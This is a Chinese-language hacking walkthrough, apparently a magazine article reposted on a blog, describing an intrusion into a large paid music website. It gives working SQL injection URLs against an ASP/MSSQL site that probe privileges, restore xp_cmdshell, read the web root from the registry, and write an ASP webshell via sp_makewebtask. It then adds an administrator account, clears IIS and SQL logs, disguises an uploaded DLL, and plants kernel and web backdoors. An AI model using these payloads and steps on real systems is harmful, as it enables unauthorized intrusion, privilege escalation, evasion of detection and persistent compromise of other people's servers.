一．通过SQL注入得到WEBSHELL的原理:
N.E.V.E.R的方法：利用数据库备份得到WEBSHELL。创建一个表，在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来，最后再删除新建的表。
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来，设想数据库中有<%%>之类的ASP标实符，导出文件，文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢？如果数据库中有的表中有<%%>标实符，并且这之中有错误，那么我们导出来生成的ASP文件也会有误。不过，这种机会也不太大。
再来看看CZY的方法吧。
CZY的方法：前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是：可以把MSSQL数据库中的某个表中的记录导出来，以文件的方法保存起来。这种方法就不会出现什么问题原因在于：我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候，先调试一下，没有问题在加入进去，导出来就当然没有问题了。
以上两位的方法，我都手工测试过。利用SQL注入漏洞，建表，向表中加数据，然后再导出数据，再删除表。都是利用的SQL语句。这里我就不多说了，大家可以看本期的文章。
目前网上很流行SQL INJECTION 漏洞，也就是我们通常所说的SQL注入漏洞，我们利用这类漏洞可以跨表、跨库查询数据库信息，以及通过论坛来上传文件从而得到主机WebShell（这些都是一些很通常的手法，黑防原来也介绍得比较详细）。
前段时间我对一大型音乐收费网站进行安全测试，结果我利用纯脚本技术，拿到了系统管理员权限。所以，今天我就为大家介绍一下全部经过和我的具体思路分析。
一．踩点
踩点，是对一个服务器进行安全测试的首要工作。我们对服务器先进行端口扫描。我拿出了朋友写的一款非常不错的扫描程序，速度相当快，可以同时开2000个线程！（wtf：ＧＯＯＤ！）半支烟功夫，端口1-65535就扫完了。
扫描的开放端口如下：
21,80,1433,3389
再次扫描得到的结果相同，几乎能肯定是这些了。冲击波过后，网络上的服务器安全了许多，利用系统漏洞入侵也变得有难度了。先来分析了一下：我把目标集中在21和1433端口。现在只有看看运气，看是否能扫出个弱口令（wtf：呵呵，想得倒挺美！）——真是倒霉，我很久都没有扫到存在弱口今的机子了，今天也一样，什么都没扫出来。看来，我只有从网站脚本上寻找出路了。
二．对网站进行全方面的探索
开了1433端口，即SQLSERVER服务，一般网站都是ASP+MSSQL结构来架设的,并且ASP脚本的注入漏洞比其他脚本漏洞好找，漏洞存在的机率也相对要大得多。一般情况下，我在提交的参数后加上单引号提交，如果参数没有过滤，IE一般都会返回错误信息。
我很快找到了一个没有经过任何过滤的参数。
提交：http://www.something.com/script.asp?id=2'
IE返回：
|
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有 未闭合的引号。 |
提交：http://www.something.com/script.asp?id=2 and 1=1
IE返回正常记录。
提交：http://www.something.com/script.asp?id=2 and 1=2
IE没有返回记录。
好了，这样就确定存在注入漏洞了，下面我们来利用这个漏洞拿到服务器和数据库的一些相关信息。譬如：想看服务器打的补丁情况，我们提交：
http://www.something.com/script.asp?id=2 and 1=(select @@VERSION)
出错了，呵呵，IE给我们返回错误信息如图1所示：
图1
看来服务器打了SP4补丁，"据说"打了SP4后，也有对80的溢出程序和对MSSQL SP3的溢出程序。不过这些属于"绝对机密"，估计除了wtf那小子有，很少人能搞到，反正我是没有的，那天敲诈他去！现在我们继续！
这台服务器从系统方面对于我们来讲，是比较安全的，所以我还是接着从脚本方面着手吧。再来看看他的数据库连接账号的权限，提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
返回正常，这证明当前连接的账号是服务器角色sysadmin权限。
wtf：IS_SRVROLEMEMBER（'role' [,'login']）函数用于判断当前的用户登录是否是指定的服务器角色的成员。其中，role为被检查的服务器角色的名称。而login是可选的，如果未指定，那么使用当前用户的登陆账号。如果login是role的成员，则返回1，不是则返回0，如果role或login无效，则返回NULL。
我差点没把嘴里的一口茶喷到电脑屏幕上。当前连接账号的服务器角色居然是sysadmin权限！如图2所示：
图2
哈哈！看来连接账号多半是采用SA账号连接的了。
提交：
http://www.something.com/script.asp?id=2 and 'sa'=(SELECT System_user)
用来查看连接账号是不是用sa 连接的，IE再一次返回正常。这证明了连接账号真的是SA，看来权限是至高无上的了。
wtf：当使用应用程序角色时，执行 SELECT USER 将返回当前使用的应用程序角色的名称。如果要获得已登录用户的身份，则使用Transact-SQL 语句：SELECT SYSTEM_USER。
到这里，可能很多人就想到了利用xp_cmdshell扩展存储过程来加系统账号，然后再使用终端连接服务器。这是非常不错的想法！我也是很多人中的一员！我们来试试看行不行吧！
三．利用MSSQL存储过程，得到WebShell
下面，让我们看看xp_cmdshell是否被管理员删除了！提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
IE 返回的信息如下：
|
ADODB.Field 错误 '800a0bcd'
BOF 或 EOF 中有一个是"真"，或者当前的记录已被删除，所需的操作要求一个当前的记录。
|
看来,xp_cmdshell已经被删除了。呵呵，我们来给他恢复一下吧！
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
再试，看xp_cmdshell是不是恢复过来了?
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
wtf：小编在后来的尝试中，发现xp_cmdshell恢复过来了？哈哈，不知道是哪位兄弟留下来的战果？
同样没有返回内容。这证明，管理员把xplog70.dll这个动态链接库给改名了。要不给删除了，看来直接恢复是没有办法的了。对此，我只能说两个字"我忍"！
这么好个漏洞，不好好利用我是不甘心的，再说都到这地步了，正有劲呢。先拿他的WebShell再说，哼哼，拿到WebShell后，我自然有办法对付他了，哈哈哈...（星仔般的奸笑！）。
下面看如何拿到WebShell!
看过N.E.V.E.R和CZY的文章没有？拿WebShell的方法，两位都已经详细的介绍过了。我也把他们的方法写成了程序，方便我使用，不过很困难的是得不到Web绝对路径。那我们生成的木马保存在什么地方呢？
这可能是很多牛人一直在研究的问题。还好，我对MSSQL还是了解一点。我有办法得到他的Web绝对路径，跟我来吧。（wtf：这绝对是个非常非常大的闪光点！大家看清楚了！）
下面我们要利用到两个MSSQL存储过程。不过有必要先给大家介绍一下xp_regread 扩展存储过程和sp_makewebtask Web 助手存储过程：xp_regread是用来读取注册表信息的，我们通过这个存储过程来得到保存在注册表中Web绝对路径。
sp_makewebtask在我们这里是用来得到WebShell的，其主要功能就是导出数据库中表的记录为文件，文件名你可以自己指定。当然我们这里就指定为ASP脚本文件啦！试想，如果表中记录保存的是脚本代码，导出来的文件也就是脚本文件了。所以，我们添加的记录就是脚本代码。
这里我就不用N.E.V.E.R的方法了。他的方法是导出库文件，导出的文件都比较大，并且很多乱码看起来不方便，如果记录中存在ASP的标记符并且有错误的ASP代码那就不好办了，打开多半返回500的错误码，所以我们采用CZY的方法，就是Web作业来得到Shell。
1.怎么拿到Web绝对路径？
呵呵？这个问题，花了我很长时间去研究。大家都知道MS的东西很多都放在注册表中的，Web位置我们可以在注册表中得到，位置如下：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Param eters\Virtual Roots
利用扩展存储过程xp_regread我们可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/'
这样，就取出来了，但问题又来了，取是取出来了，我们怎么在IE中返回它的值呢？我的方法是：先创建一个临时表，表中加一字段，类型为：char 255。呵呵，用它来保存Web绝对路径的值。表建好后，我们就用读取注册表的方法，把返回的值保存在一变量中。然后向新建的表中加入记录（即变量的值）。这样，路径就写入到了表中。提交：
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
然后，我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)
这样IE报错,就把刚才插进去的Web路径的值报出来了。我也试过直接用变量来报错，让IE返回变量的值，结果是失败的，所以就想到了建临时表加数据进去的方法！最后我们再删除刚建的临时表。WebShell就得到了，工作就此告一段落。
2.怎么拿到WebShell?
CZY的文章已经写得很详细了。所以，我这里就只简单的提一下吧! 先创建一个表，建一字段，然后向这个字段中加入木马的内容。然后，把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中。再次删除建的临时表，一切OVER。如：
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',
@query = 'SELECT 你的字段 FROM 你建的临时表'
呵呵，结果就出来了。当然我都写成了程序，所以就不用麻烦自己手工一行一行的加数据进去了（wtf：本期文章有详细介绍！大家一定不会失望！）。方法和思路都写了，现在我们就来行动吧。
还是先看看，他这两个扩展存储过程是不是已经被删除了。如果被删了，我也不想活了！呵呵，提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
再提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
啦啦啦！今天是什么日子，我比过年还开心啦。全部返回正常！两个要用到的存储过程都没有删除。
wtf注：一般管理员也不会删除这两个，可能对它们的了解比较少，也就不会注意它们嘛！危机就在这里面！嘿嘿。
好，拿到Web绝对路径后。继续建表:
http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
这样我们就成功地建了一个名为cyfd的表，并且添加了类型是char，长度为255的字段名gyfd。然后向表中加数据:
http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Pa rameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
从注册表中读出Web绝对路径，再把路径插入到刚建的表中。然后报出WebShell的绝对路径：
http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd
where gyfd > 1)
出错后，IE返回错误，我们得到Web绝对路径"d:\Inetpub\wwwroot"！经过努力的成功特别香甜！喝口茶！如图3
图3
然后删除刚才建的表，提交：
http://www.something.com/script.asp?id=2;drop table cyfd;--
OK，有了路径下面就好办多了。打开我写的获取WebShell的程序，输入漏洞URL：http://www.yfd.com/yfd.com?id=2
输入保存木马的绝对路径：d:\Inetpub\wwwroot。
木马我早就配置好了，代码精简了又精简，只有30行代码，这样才少向服务器提交数据。加快速度嘛！木马的主要功能，就是输入内容，把输入的内容保存为一个文件。呵呵，通过这样的木马，我们就可以实现上传一些功能强大的脚本木马了，如海洋木马。
一分钟不到。程序都已经运行完毕。输入相应的路径，娃哈哈（wtf：要饭的兄弟挺喜欢这个"饮品"？哈哈！），WebShell来了，最快的速度生成了一个海洋木马，如图4，图5:
图4
图5
我生活在幸福之中！——wtf常常说这句话，今天看来我也被感染了！下面我们还得来！
四．恢复xp_cmdshell，向系统权限进军！
下面的工作就是很简单，很轻松了。10分钟不到，就给你一个管理员账号，都说了xp_cmdshell已经被删除了。并且无法恢复，这多半是管理员把xplog70.dll文件给删除，要不改名了。没事，我们上传一个xplog70.dll就搞定一切了，通过WebShell。我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell', 'e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）如图6
图6
OK。我们用IE来查看一下是不是已经恢复了。提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
嘿嘿。返回正常。已经恢复了，下面的还用我说吗？呵呵！加账号:
http://www.something.com/script.asp?id=2;exec master.dbo.xp_cmdshell 'net user chouyfd chouyfd1314yf /add'
提升自己为超级管理员
http://www.something.com/script.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators chouyfd /add'
完毕。打开你的终端连接程序，连接吧!哈哈，终于给我连上了。到此我就成功的拿到了这台主机的系统管理员账号。如图7:
图7
下面的工作就是清除日志和留下超级后门，闪人!
五．事后处理工作
终端连接上后，以最快的速度，清除IIS日志，和MSSQL日志。
同时，把xp_cmdshell也给他删除掉，不要让他发现了,也就不好办了。再把我上传的那个xplog70.dll移动到system32目录下，改个我都不知道什么意思的名字叫：msxlog32.dll（打死他也查不出来，哈哈！）再将猪蛋儿提供的超级内核后门程序安装起，再把存在漏洞的脚本文件给打上补丁。同时在他的那个脚本程序中，我修改了代码，提交特定的参数(POST提示方式)，显示我的Web后门程序! 这样两个后门，很保险！
扫一扫
628
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
